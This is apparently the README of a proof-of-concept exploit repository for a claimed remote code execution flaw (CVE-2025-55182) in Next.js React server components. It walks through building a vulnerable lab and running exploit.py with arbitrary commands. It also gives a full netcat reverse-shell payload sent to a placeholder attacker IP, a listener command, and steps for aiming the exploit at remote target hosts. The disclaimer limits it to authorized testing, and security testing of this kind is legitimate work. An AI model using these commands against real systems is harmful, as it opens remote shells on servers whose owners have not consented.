
A proof-of-concept exploit demonstrating a remote code execution vulnerability in Next.js applications through prototype pollution in the React server components rendering pipeline.
This tool is for educational and authorized testing purposes only. Unauthorized use against systems you don't own or have permission to test is illegal.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
Note: The pre-configured lab already includes the necessary vulnerable code. If creating from scratch, you'll need to manually add the vulnerable components.
cd react2shell-lab
npm install
In terminal 1:
npm run dev
The server should start on http://localhost:3000
The repository includes an exploit.py file that demonstrates the vulnerability. Edit the COMMAND variable in the file to your desired command:
COMMAND = 'whoami' # Change this to any command you want to execute
Run the exploit:
python3 exploit.py
Set up a netcat listener in a new terminal:
nc -nvlp 4444
Edit exploit.py and update the command to your reverse shell payload:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
Replace YOUR_IP with your local machine's IP address.
Run the exploit:
python3 exploit.py
Edit the HOST variable in the exploit script to target remote servers:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig or ip aThis project is licensed under the MIT License - see the LICENSE file for details.
This version asks for user input for remote target and attacker IPs and ports. The post body (body_parts) is also trimmed down slightly in this version.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained